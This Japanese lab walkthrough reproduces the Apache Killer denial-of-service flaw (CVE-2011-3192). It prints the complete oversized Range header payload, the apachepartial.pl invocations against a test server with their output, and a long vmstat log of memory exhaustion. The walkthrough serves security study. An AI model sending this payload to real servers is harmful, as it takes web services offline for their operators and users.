脆弱性を検証してみよう - Apache Killer（CVE-2011-3192）その１

★注意★ 間違っても本番サーバで試さないでください。人生終わります。

■対象
脆弱性があるのは、2.0.64以下の全ての2.0系と2.2.19以下の全ての2.2系。1.3系にはありません。

■脆弱性の概要
Range ヘッダは本来、取得するコンテンツのバイト数を指定してリクエストを送るために使います。例えば、Range: bytes=500-600 とすれば、GET 対象のコンテンツの 500byte 目から 600byte 目までのデータだけを取得することができます。これによって、FTP のレジューム機能のようなものが HTTP でも実現できるわけです。このレンジ指定は、カンマで区切って複数記載できます。その場合、それぞれの指定幅の複数のコンテンツが返されます。
Accept-Encoding ヘッダは、クライアントが解釈可能なコンテンツのコーディング方式をサーバ側に知らせるためのヘッダです。これを知らされたサーバはそのエンコード方法が利用可能ならエンコードしてデータを返します。例えば Accept-Encoding: gzip がリクエストヘッダにあった場合、mod_deflate や mod_gzip などのモジュールが組み込まれて設定されていれば（デフォルトでは組み込まれません）、コンテンツを動的に gzip 圧縮して返します。mod_rewrite 等で予め圧縮しておいたファイルに誘導することもできますし、モジュールに頼らなくてもCGIなどのプログラムで独自に実装することも勿論できます。帯域を節約したい場合に有効です。
※HTTPヘッダについて詳しくは RFC 2616 を参照してください。
で、Apache Killer はというと、大量のレンジ指定をリクエストすることによって、サーバのリソースを食いつくします。どれだけ大量かというと、こんな感じです。

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5-185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5-199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5-213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5-227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5-241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5-255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-283,5-284,5-285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5-297,5-298,5-299,5-300,5-301,5-302,5-303,5-304,5-305,5-306,5-307,5-308,5-309,5-310,5-311,5-312,5-313,5-314,5-315,5-316,5-317,5-318,5-319,5-320,5-321,5-322,5-323,5-324,5-325,5-326,5-327,5-328,5-329,5-330,5-331,5-332,5-333,5-334,5-335,5-336,5-337,5-338,5-339,5-340,5-341,5-342,5-343,5-344,5-345,5-346,5-347,5-348,5-349,5-350,5-351,5-352,5-353,5-354,5-355,5-356,5-357,5-358,5-359,5-360,5-361,5-362,5-363,5-364,5-365,5-366,5-367,5-368,5-369,5-370,5-371,5-372,5-373,5-374,5-375,5-376,5-377,5-378,5-379,5-380,5-381,5-382,5-383,5-384,5-385,5-386,5-387,5-388,5-389,5-390,5-391,5-392,5-393,5-394,5-395,5-396,5-397,5-398,5-399,5-400,5-401,5-402,5-403,5-404,5-405,5-406,5-407,5-408,5-409,5-410,5-411,5-412,5-413,5-414,5-415,5-416,5-417,5-418,5-419,5-420,5-421,5-422,5-423,5-424,5-425,5-426,5-427,5-428,5-429,5-430,5-431,5-432,5-433,5-434,5-435,5-436,5-437,5-438,5-439,5-440,5-441,5-442,5-443,5-444,5-445,5-446,5-447,5-448,5-449,5-450,5-451,5-452,5-453,5-454,5-455,5-456,5-457,5-458,5-459,5-460,5-461,5-462,5-463,5-464,5-465,5-466,5-467,5-468,5-469,5-470,5-471,5-472,5-473,5-474,5-475,5-476,5-477,5-478,5-479,5-480,5-481,5-482,5-483,5-484,5-485,5-486,5-487,5-488,5-489,5-490,5-491,5-492,5-493,5-494,5-495,5-496,5-497,5-498,5-499,5-500,5-501,5-502,5-503,5-504,5-505,5-506,5-507,5-508,5-509,5-510,5-511,5-512,5-513,5-514,5-515,5-516,5-517,5-518,5-519,5-520,5-521,5-522,5-523,5-524,5-525,5-526,5-527,5-528,5-529,5-530,5-531,5-532,5-533,5-534,5-535,5-536,5-537,5-538,5-539,5-540,5-541,5-542,5-543,5-544,5-545,5-546,5-547,5-548,5-549,5-550,5-551,5-552,5-553,5-554,5-555,5-556,5-557,5-558,5-559,5-560,5-561,5-562,5-563,5-564,5-565,5-566,5-567,5-568,5-569,5-570,5-571,5-572,5-573,5-574,5-575,5-576,5-577,5-578,5-579,5-580,5-581,5-582,5-583,5-584,5-585,5-586,5-587,5-588,5-589,5-590,5-591,5-592,5-593,5-594,5-595,5-596,5-597,5-598,5-599,5-600,5-601,5-602,5-603,5-604,5-605,5-606,5-607,5-608,5-609,5-610,5-611,5-612,5-613,5-614,5-615,5-616,5-617,5-618,5-619,5-620,5-621,5-622,5-623,5-624,5-625,5-626,5-627,5-628,5-629,5-630,5-631,5-632,5-633,5-634,5-635,5-636,5-637,5-638,5-639,5-640,5-641,5-642,5-643,5-644,5-645,5-646,5-647,5-648,5-649,5-650,5-651,5-652,5-653,5-654,5-655,5-656,5-657,5-658,5-659,5-660,5-661,5-662,5-663,5-664,5-665,5-666,5-667,5-668,5-669,5-670,5-671,5-672,5-673,5-674,5-675,5-676,5-677,5-678,5-679,5-680,5-681,5-682,5-683,5-684,5-685,5-686,5-687,5-688,5-689,5-690,5-691,5-692,5-693,5-694,5-695,5-696,5-697,5-698,5-699,5-700,5-701,5-702,5-703,5-704,5-705,5-706,5-707,5-708,5-709,5-710,5-711,5-712,5-713,5-714,5-715,5-716,5-717,5-718,5-719,5-720,5-721,5-722,5-723,5-724,5-725,5-726,5-727,5-728,5-729,5-730,5-731,5-732,5-733,5-734,5-735,5-736,5-737,5-738,5-739,5-740,5-741,5-742,5-743,5-744,5-745,5-746,5-747,5-748,5-749,5-750,5-751,5-752,5-753,5-754,5-755,5-756,5-757,5-758,5-759,5-760,5-761,5-762,5-763,5-764,5-765,5-766,5-767,5-768,5-769,5-770,5-771,5-772,5-773,5-774,5-775,5-776,5-777,5-778,5-779,5-780,5-781,5-782,5-783,5-784,5-785,5-786,5-787,5-788,5-789,5-790,5-791,5-792,5-793,5-794,5-795,5-796,5-797,5-798,5-799,5-800,5-801,5-802,5-803,5-804,5-805,5-806,5-807,5-808,5-809,5-810,5-811,5-812,5-813,5-814,5-815,5-816,5-817,5-818,5-819,5-820,5-821,5-822,5-823,5-824,5-825,5-826,5-827,5-828,5-829,5-830,5-831,5-832,5-833,5-834,5-835,5-836,5-837,5-838,5-839,5-840,5-841,5-842,5-843,5-844,5-845,5-846,5-847,5-848,5-849,5-850,5-851,5-852,5-853,5-854,5-855,5-856,5-857,5-858,5-859,5-860,5-861,5-862,5-863,5-864,5-865,5-866,5-867,5-868,5-869,5-870,5-871,5-872,5-873,5-874,5-875,5-876,5-877,5-878,5-879,5-880,5-881,5-882,5-883,5-884,5-885,5-886,5-887,5-888,5-889,5-890,5-891,5-892,5-893,5-894,5-895,5-896,5-897,5-898,5-899,5-900,5-901,5-902,5-903,5-904,5-905,5-906,5-907,5-908,5-909,5-910,5-911,5-912,5-913,5-914,5-915,5-916,5-917,5-918,5-919,5-920,5-921,5-922,5-923,5-924,5-925,5-926,5-927,5-928,5-929,5-930,5-931,5-932,5-933,5-934,5-935,5-936,5-937,5-938,5-939,5-940,5-941,5-942,5-943,5-944,5-945,5-946,5-947,5-948,5-949,5-950,5-951,5-952,5-953,5-954,5-955,5-956,5-957,5-958,5-959,5-960,5-961,5-962,5-963,5-964,5-965,5-966,5-967,5-968,5-969,5-970,5-971,5-972,5-973,5-974,5-975,5-976,5-977,5-978,5-979,5-980,5-981,5-982,5-983,5-984,5-985,5-986,5-987,5-988,5-989,5-990,5-991,5-992,5-993,5-994,5-995,5-996,5-997,5-998,5-999,5-1000,5-1001,5-1002,5-1003,5-1004,5-1005,5-1006,5-1007,5-1008,5-1009,5-1010,5-1011,5-1012,5-1013,5-1014,5-1015,5-1016,5-1017,5-1018,5-1019,5-1020,5-1021,5-1022,5-1023,5-1024,5-1025,5-1026,5-1027,5-1028,5-1029,5-1030,5-1031,5-1032,5-1033,5-1034,5-1035,5-1036,5-1037,5-1038,5-1039,5-1040,5-1041,5-1042,5-1043,5-1044,5-1045,5-1046,5-1047,5-1048,5-1049,5-1050,5-1051,5-1052,5-1053,5-1054,5-1055,5-1056,5-1057,5-1058,5-1059,5-1060,5-1061,5-1062,5-1063,5-1064,5-1065,5-1066,5-1067,5-1068,5-1069,5-1070,5-1071,5-1072,5-1073,5-1074,5-1075,5-1076,5-1077,5-1078,5-1079,5-1080,5-1081,5-1082,5-1083,5-1084,5-1085,5-1086,5-1087,5-1088,5-1089,5-1090,5-1091,5-1092,5-1093,5-1094,5-1095,5-1096,5-1097,5-1098,5-1099,5-1100,5-1101,5-1102,5-1103,5-1104,5-1105,5-1106,5-1107,5-1108,5-1109,5-1110,5-1111,5-1112,5-1113,5-1114,5-1115,5-1116,5-1117,5-1118,5-1119,5-1120,5-1121,5-1122,5-1123,5-1124,5-1125,5-1126,5-1127,5-1128,5-1129,5-1130,5-1131,5-1132,5-1133,5-1134,5-1135,5-1136,5-1137,5-1138,5-1139,5-1140,5-1141,5-1142,5-1143,5-1144,5-1145,5-1146,5-1147,5-1148,5-1149,5-1150,5-1151,5-1152,5-1153,5-1154,5-1155,5-1156,5-1157,5-1158,5-1159,5-1160,5-1161,5-1162,5-1163,5-1164,5-1165,5-1166,5-1167,5-1168,5-1169,5-1170,5-1171,5-1172,5-1173,5-1174,5-1175,5-1176,5-1177,5-1178,5-1179,5-1180,5-1181,5-1182,5-1183,5-1184,5-1185,5-1186,5-1187,5-1188,5-1189,5-1190,5-1191,5-1192,5-1193,5-1194,5-1195,5-1196,5-1197,5-1198,5-1199,5-1200,5-1201,5-1202,5-1203,5-1204,5-1205,5-1206,5-1207,5-1208,5-1209,5-1210,5-1211,5-1212,5-1213,5-1214,5-1215,5-1216,5-1217,5-1218,5-1219,5-1220,5-1221,5-1222,5-1223,5-1224,5-1225,5-1226,5-1227,5-1228,5-1229,5-1230,5-1231,5-1232,5-1233,5-1234,5-1235,5-1236,5-1237,5-1238,5-1239,5-1240,5-1241,5-1242,5-1243,5-1244,5-1245,5-1246,5-1247,5-1248,5-1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299

上記のレンジ指定を含んだリクエストを複数投げつけることで攻撃します。どれぐらいのセッション数で DoS を引き起こせるかはサーバ側のスペック次第ですが、クライアント側にはほとんど負荷にならない量でサーバ側に大ダメージを与えられます。サーバが gzip 圧縮可能な設定になっていると更にダメージUP。そういう意味で mod_deflate などが使われていると効果的なわけですが、必須ではありません。
どのリソースがボトルネックになってくるかは、動的な gzip 圧縮が有効になっているかどうかや、サーバのスペック次第なところがあると思いますが、いずれにせよ DoS は成立してしまいます。

では実際にやってみましょう。

■検証環境
サーバ：Solaris10 + Apache 2.0.64 / CentOS5.4 + Apache 2.2.3
　※OSは何でも良いです。Apache も対象バージョンであれば何でも OK。モジュールもデフォルトで構いません。
クライアント：Solaris10
　※Perl5以上が使える環境であれば何でもOKです。攻撃対象のサーバとは分けましょう。

■検証
出回っている攻撃ツールには killapache.pl と apachepartial.pl がありますが、killapache.pl のほうはモジュールのインストールが必要だし、use strict; してないし、バグもあるし、使い勝手悪くて編集しないと使い物にならないので、apachepartial.pl を使います。
http://pastebin.com/NCDv9eTh
ダウンロードするなりコピペするなりして、クライアントに設置します。

サーバは Apache が起動していなければ起動します。vmstat 1 で観察しましょう。

いよいよ攻撃です。apachepartial.pl を使って攻撃対象の URL を探します。攻撃が成立するのは、レスポンスとして 206 Partial Content を返してくる URL のみです。DocumentRoot に入っているコンテンツ次第では、単純に / では 206 が返ってこない場合がありますので、その場合は適当に検証用のファイルを置くなりしてアクセスしてみてください。ファイルサイズが小さいとうまくいかないので、1300byte 以上あるファイルを用意して試してください。
引数は、ホスト名、パス、子プロセス数、ループ数、ポート番号です。ホスト名以外は省略可能で、デフォルトでは前から順番に / 、10、5、80 が使われます。

※NGパターンの例
client$ perl apachepartial.pl 192.168.11.247 / 10 5 80 Testing http://192.168.11.247:80/ Request: HEAD / HTTP/1.1 Host: 192.168.11.247 User-Agent: Apache httpd Partial Content bug exploit Range:bytes=0-100 Accept-Encoding: gzip Connection: close Response: HTTP/1.1 200 OK Date: Sat, 17 Sep 2011 11:02:02 GMT Server: Apache/2.0.64 (Unix) PHP/5.3.5 X-Powered-By: PHP/5.3.5 Set-Cookie: PHPSESSID=riermo38djgifhkftjfrme3uh1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Host does not seem vulnerable (maybe another path?).

※OKパターンの例
client$ perl apachepartial.pl 192.168.11.247 /images/menu.gif 10 5 80 Testing http://192.168.11.247:80/images/menu.gif Request: HEAD /images/menu.gif HTTP/1.1 Host: 192.168.11.247 User-Agent: Apache httpd Partial Content bug exploit Range:bytes=0-100 Accept-Encoding: gzip Connection: close Response: HTTP/1.1 206 Partial Content Date: Sat, 17 Sep 2011 11:13:08 GMT Server: Apache/2.0.64 (Unix) PHP/5.3.5 Last-Modified: Sat, 28 Jun 2008 12:08:08 GMT ETag: "26b63-800-e11fba00" Accept-Ranges: bytes Content-Length: 101 Content-Range: bytes 0-100/2048 Connection: close Content-Type: image/gif Host seems vulnerable. Hitting http://192.168.11.247:80/images/menu.gif (10 parallel reqs over 5 loops) Loop 1 ..

サーバの vmstat 1 の様子です。(Solaris10 + Apache 2.0.64)
server# vmstat 1 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 0 626600 194404 3 8 0 0 0 0 26 -0 13 -0 0 5 80 34 0 98 1 0 0 0 598168 156468 15 53 0 0 0 0 0 0 0 0 0 332 397 87 1 1 98 0 0 0 598128 156440 6 6 0 0 0 0 0 0 0 0 0 326 364 74 0 0 100 0 0 0 598128 156440 6 6 0 0 0 0 0 0 0 0 0 328 382 73 0 0 100 0 0 0 598128 156440 6 6 0 0 0 0 0 0 0 0 0 320 370 68 0 1 99 0 0 0 598128 156440 6 6 0 0 0 0 0 0 0 0 0 326 371 78 0 0 100 0 0 0 598128 156440 6 6 0 0 0 0 0 0 0 0 0 322 371 73 0 0 100 0 0 0 598128 156440 6 6 0 0 0 0 0 0 0 0 0 325 374 70 1 0 99 0 0 0 598096 156408 6 6 0 0 0 0 0 0 9 0 0 389 379 253 0 2 98 0 0 0 598096 156408 6 6 0 0 0 0 0 0 0 0 0 323 372 69 0 0 100 0 0 0 598096 156408 6 6 0 0 0 0 0 0 0 0 0 323 367 68 0 0 100 0 0 0 598096 156408 6 6 0 0 0 0 0 0 0 0 0 330 374 85 0 0 100 0 0 0 598096 156408 6 6 0 0 0 0 0 0 0 0 0 322 367 67 0 1 99 0 0 0 598096 156408 6 6 0 0 0 0 0 0 0 0 0 330 385 78 0 0 100 0 0 0 598092 156404 6 6 0 0 0 0 0 0 0 0 0 326 371 78 0 0 100 0 0 0 598092 156404 6 7 0 0 0 0 0 0 0 0 0 333 427 81 0 0 100 0 0 0 598084 156396 6 7 0 0 0 0 0 0 0 0 0 321 400 78 0 1 99 0 0 0 598060 156360 9 29934 0 0 0 0 0 0 1 0 0 420 29902 104 22 57 21 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 5 0 0 449836 11160 6 10149 0 0 820 0 75768 0 0 0 0 330 10528 484 7 22 71 5 0 0 441456 4196 14 26370 4 4080 6488 0 46974 0 150 0 0 470 27983 3252 22 64 14 0 0 0 426356 1896 7 2792 32 4088 10080 0 56303 0 304 0 0 615 2986 8522 4 18 78 0 0 0 416228 2124 7 3931 16 4048 10432 0 55409 0 268 0 0 558 4185 7680 9 25 66 0 0 0 406044 2124 7 909 0 4092 4216 0 56840 0 266 0 0 567 1246 4879 5 14 81 0 0 0 401776 2080 6 1410 0 4088 4596 0 56792 0 360 0 0 636 1694 6656 4 17 79 0 0 0 397120 1868 6 840 4 4048 4281 0 54364 0 453 0 0 678 1110 5988 5 17 78 0 0 0 393164 2124 7 896 12 4520 4633 0 54572 0 398 0 0 718 1166 7177 5 17 78 0 0 0 389140 2124 9 948 0 3924 3996 0 56902 0 454 0 0 721 1350 7976 4 16 80 0 0 0 385344 2124 285 1517 0 4536 4624 0 56524 0 486 0 0 739 3924 8063 7 21 72 0 0 0 381308 2124 6 1015 0 3770 3988 0 56587 0 360 0 0 641 1382 5261 4 16 80 0 0 0 377024 2124 6 943 12 4295 4466 0 55449 0 281 0 0 567 1274 6647 5 17 79 0 0 0 372944 2108 7 1105 20 4088 4388 0 54560 0 266 0 0 561 1476 4843 4 15 81 0 0 0 368600 2100 6 1131 76 4092 4172 0 56786 0 286 0 0 586 1448 7292 6 16 78 0 0 0 364644 2100 7 953 36 4088 4168 0 56774 0 255 0 0 546 1763 4555 4 15 81 0 0 0 360596 2100 6 527 590 4051 4131 0 56488 0 325 0 0 613 670 7072 3 18 79 0 0 0 356624 1672 7 466 16 3105 3240 0 59673 0 194 0 0 478 770 4255 2 12 86 0 0 0 353876 2100 6 1084 61 4129 4299 0 58329 0 324 0 0 631 1430 6495 5 16 79 0 0 0 349776 2124 6 1059 55 4048 4075 0 55016 0 224 0 0 517 1409 6218 6 15 79 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 0 345672 2100 6 1561 128 6436 6488 0 56591 0 656 0 0 963 1880 12702 6 25 69 7 0 82 340672 1808 6 1190 186 4400 4578 0 56671 0 448 0 0 722 1503 11181 7 20 73 0 0 84 336580 2072 6 1274 80 4088 4608 0 57133 0 274 0 0 565 1590 6952 5 19 76 0 0 84 332216 2044 6 1518 170 4048 4681 0 56696 0 404 0 0 650 1813 10318 6 18 76 0 0 84 327920 2124 6 1140 344 4088 4184 0 57041 0 472 0 0 749 1394 17103 5 20 75 0 0 84 324216 2124 6 949 408 4088 4264 0 54952 0 393 0 0 674 1208 20374 4 18 78 0 0 84 320328 2068 7 1035 352 4144 4220 0 56076 0 276 0 0 560 1298 15981 4 15 81 0 0 84 316504 2100 6 997 321 4048 4234 0 56402 0 397 0 0 657 1266 15643 4 19 77 0 0 84 312044 1484 6 736 84 3584 3616 0 58031 0 229 0 0 516 1046 5314 3 13 84 1 0 84 309320 2124 6 673 112 3640 3692 0 57451 0 389 0 0 665 1009 6905 3 15 82 0 0 84 303516 2048 7 1049 84 4144 4320 0 57538 0 230 0 0 533 1382 4416 5 14 81 0 0 84 297488 2124 6 1166 135 4051 4067 0 54980 0 387 0 0 670 1490 7505 6 17 77 0 0 84 293532 2044 5 1386 180 4998 5013 0 64623 0 259 0 0 559 1665 9375 5 19 77 0 0 85 289096 2124 8 1402 264 4088 4088 0 55384 0 395 0 0 669 1623 14657 5 18 77 0 0 85 285072 2068 6 429 156 4032 4132 0 57668 0 651 0 0 937 753 9301 3 20 77 0 0 85 281140 2124 8 980 168 4180 4276 0 60776 0 402 0 0 677 1257 9446 4 18 78 0 0 85 278012 2124 7 1311 717 4158 4238 0 58052 0 454 0 0 696 1406 13055 6 22 72 0 0 85 273992 2100 7 1097 168 4088 4188 0 59096 0 319 0 0 611 1428 8892 4 16 80 0 0 85 270012 2124 11 943 214 4103 4261 0 58707 0 602 0 0 867 1242 10744 4 20 76 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 85 266080 2124 7 1056 293 4051 4182 0 58154 0 446 0 0 727 1322 15230 5 19 76 0 0 85 262176 2124 9 1050 224 4092 4132 0 57514 0 358 0 0 660 1331 9996 5 17 78 0 0 85 258392 2124 6 1034 164 4088 4108 0 58767 0 331 0 0 604 1269 9258 5 17 78 0 0 85 254460 2124 6 1044 150 4048 4079 0 58552 0 341 0 0 626 1289 7582 4 18 78 0 0 86 250488 2124 6 1385 192 4452 4552 1448 59995 0 257 0 0 541 1617 6903 5 16 79 0 0 84 246372 1900 6 780 140 3680 3784 1652 70850 0 365 0 0 638 1010 7795 3 23 74 0 0 84 243236 2100 8 702 238 3980 4127 1548 71692 0 281 0 0 590 913 5981 3 19 78 0 0 84 238756 2088 9 1377 198 4457 4655 1396 69620 0 456 0 0 693 1513 9456 5 19 76 3 0 84 235512 2092 5 704 227 3769 3865 1260 67538 0 349 0 0 618 912 6917 3 23 74 0 0 84 231160 2124 9 786 198 3715 3766 1136 66762 0 380 0 0 603 1006 8548 4 34 62 0 0 84 227852 2124 7 698 222 3050 3180 1024 67469 0 347 0 0 631 925 7190 3 17 80 0 0 84 224984 2124 7 1317 312 4088 4140 924 65259 0 410 0 0 680 1513 9480 4 18 78 0 0 84 221296 2072 7 1223 210 4048 4174 832 66223 0 424 0 0 703 1450 9597 4 18 78 11 0 84 217112 1972 6 975 268 4088 4152 752 64302 0 472 0 0 739 1190 8555 4 19 77 0 0 84 213304 2068 7 970 174 4071 4198 720 62861 0 240 0 0 525 1204 7323 3 15 82 0 0 84 209552 2124 7 1303 230 4129 4206 640 64131 0 326 0 0 614 1526 8182 4 18 78 2 0 84 206680 2928 7 1265 265 4048 4174 620 61606 0 366 0 0 680 1459 10975 4 20 76 0 0 84 200416 1992 6 664 188 3906 4101 460 66032 0 339 0 0 560 837 6874 3 18 78 0 0 84 193016 2044 0 1120 201 3891 4074 348 61467 0 285 0 0 584 1170 8400 4 18 78 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 84 185568 2120 2 1061 259 4055 4220 256 57877 0 262 0 0 567 1176 8178 5 18 78 0 0 84 179548 2104 6 1217 208 4008 4200 224 58168 0 320 0 0 594 1450 7006 5 17 78 0 0 83 176576 2124 6 502 160 3304 3488 144 58942 0 169 0 0 448 755 4723 3 26 71 0 0 83 174112 2108 11 670 162 2440 2511 64 58702 0 245 0 0 434 892 8356 2 51 47 13 0 83 171504 2532 7 582 226 3117 3181 0 51127 0 329 0 0 585 816 6531 3 39 58 0 0 83 168936 2096 10 942 232 2520 2600 48 58917 0 287 0 0 549 1147 8399 3 25 72 0 0 82 166748 2012 6 373 202 2273 2479 0 57268 0 252 0 0 467 645 6592 2 30 68 0 0 82 163768 2124 9 957 220 3416 3488 0 57111 0 337 0 0 604 1192 7162 3 24 73 0 0 82 162356 3012 14 491 352 3080 3232 0 54325 0 260 0 0 504 700 19031 2 22 76 0 0 82 160560 3128 14 141 396 2076 2236 0 54460 0 243 0 0 498 425 18797 1 14 85 0 0 82 161056 5016 277 686 515 2384 2416 0 39123 0 286 0 0 569 2865 30550 2 15 83 0 0 82 155924 7516 8 328 548 2026 2093 0 19512 0 234 0 0 471 356 31494 1 26 73 0 0 82 154892 7928 9 157 446 2377 2397 48 9752 0 198 0 0 418 312 23797 0 51 49 0 0 82 125220 5056 7 984 412 2218 2293 0 21686 0 200 0 0 492 750 25111 2 38 60 0 0 82 123440 9044 7 362 484 1176 1224 0 2727 0 155 0 0 468 443 29125 1 7 92 12 0 82 116992 2124 6 1754 333 848 1101 0 33854 0 207 0 0 443 1951 19901 3 12 85 3 0 82 114228 2112 2 1262 336 3955 4604 0 63280 0 308 0 0 631 1464 8407 3 17 80 0 0 82 109604 2096 7 1302 340 4592 5048 0 57952 0 374 0 0 673 1579 9311 3 16 81 0 0 82 105432 2112 5 1026 303 3969 4027 0 55386 0 272 0 0 584 1302 7071 2 16 83 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 82 101592 2124 8 1110 238 4103 4154 0 55664 0 380 0 0 674 1517 6820 3 16 81 0 0 82 97676 2124 6 1047 372 4088 4088 0 57554 0 340 0 0 632 1313 8875 3 17 80 0 0 82 93996 2124 6 1291 348 4088 4100 0 57602 0 268 0 0 555 1514 9540 4 16 80 0 0 82 90236 2100 6 989 253 4048 4051 0 56577 0 357 0 0 648 1286 8162 3 16 81 0 0 82 86424 2124 6 1142 312 4088 4120 0 57556 0 384 0 0 667 1418 9793 3 16 81 0 0 82 82592 2012 6 797 341 3604 3632 0 57342 0 386 0 0 718 1075 7625 3 16 81 0 0 82 78728 1940 7 923 313 3992 4020 0 57468 0 322 0 0 602 1181 6874 4 16 80 0 0 82 73296 2124 6 1175 232 4200 4232 0 56824 0 372 0 0 648 1445 8587 3 16 81 0 0 82 67560 2124 2 828 315 4161 4194 0 54235 0 377 0 0 683 1003 9948 2 20 78 12 0 84 64308 2080 6 1096 889 4129 4214 0 60349 0 438 0 0 725 1242 10140 3 20 77 0 0 84 60472 2096 6 1072 325 4103 4135 0 57347 0 387 0 0 685 1341 9333 4 16 80 0 0 84 56800 2124 6 1146 327 3931 3981 0 70547 0 370 0 0 656 1420 9302 4 18 78 0 0 84 52896 2064 6 1040 372 4547 4554 0 57175 0 326 0 0 616 1309 8566 4 17 79 0 0 84 49284 2124 6 1091 372 3596 3616 48 57829 0 304 0 0 594 1312 11455 4 18 78 0 0 84 45644 2124 6 1387 368 4547 4550 0 57127 0 355 0 0 627 1616 11164 4 19 77 0 0 84 41768 2116 6 1197 261 4547 4554 0 57138 0 318 0 0 605 1487 9269 5 18 77 0 0 86 37572 1940 7 1244 292 3584 3680 0 59111 0 425 0 0 693 1507 7871 4 16 80 2 0 86 34708 2124 7 552 144 2128 2164 0 56835 0 174 0 0 498 866 5161 2 9 89 0 0 86 31964 2124 6 617 250 3937 3956 0 57157 0 335 0 0 624 904 7984 3 17 80 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 86 28332 2124 6 1191 279 4129 4158 0 57775 0 398 0 0 673 1433 9687 4 18 78 0 0 86 24976 2068 6 983 297 3549 3655 0 56243 0 373 0 0 650 1275 8072 4 16 80 0 0 86 20384 1380 9 1108 256 4704 4852 0 58901 0 465 0 0 761 1361 10722 4 21 75 0 0 92 17032 2120 6 1013 317 4158 4210 148 57307 0 269 0 0 557 1224 10319 5 19 76 0 0 91 12992 2124 6 989 329 4048 4321 68 56874 0 313 0 0 592 1188 9728 4 18 78 0 0 91 9244 2096 6 1616 372 4480 4632 0 58549 0 318 0 0 584 1798 9218 5 18 77 0 0 91 5576 2004 6 794 287 3620 3729 280 59175 0 262 0 0 556 1017 8378 3 17 80 0 0 90 4700 3228 6 191 543 2329 2388 460 50524 0 242 0 0 512 356 29859 1 14 85 0 0 85 3940 4032 12 196 596 2240 2344 3936 56405 0 210 0 0 486 331 32270 1 15 84 0 0 80 134260 115216 413 747 467 998 1093 3544 18069 0 264 0 0 505 2970 23743 2 24 74 7 0 80 131252 111000 11 169 525 0 0 3192 0 0 164 0 0 381 377 593 0 47 53 7 0 80 130132 109288 6 176 665 0 0 2876 0 0 176 0 0 362 361 680 2 94 4 0 0 80 129124 107484 7 231 895 0 0 2592 0 0 233 0 0 496 596 878 1 37 62 0 0 80 125620 102896 6 232 832 0 0 2336 0 0 225 0 0 511 383 868 1 5 94 0 0 80 123520 98956 7 451 1776 0 0 2104 0 0 265 0 0 545 365 943 0 8 92 0 0 80 120368 94676 6 334 1303 0 0 1896 0 0 288 0 0 555 376 1080 1 6 93 0 0 80 118780 91920 6 261 1006 0 0 1708 0 0 253 0 0 539 377 978 0 5 95 0 0 80 116236 88368 6 294 1152 0 0 1540 0 0 271 0 0 539 392 996 1 7 92 0 0 80 110976 81700 6 350 1374 0 0 1388 0 0 268 0 0 557 365 915 1 8 91 kthr memory page disk faults cpu r b w swap free re mf pi po fr de sr f0 s0 s1 -- in sy cs us sy id 0 0 80 108700 78448 6 252 984 0 0 1252 0 0 247 0 0 544 379 961 0 4 96 2 0 80 107304 76040 6 246 958 0 0 1128 0 0 233 0 0 522 382 854 1 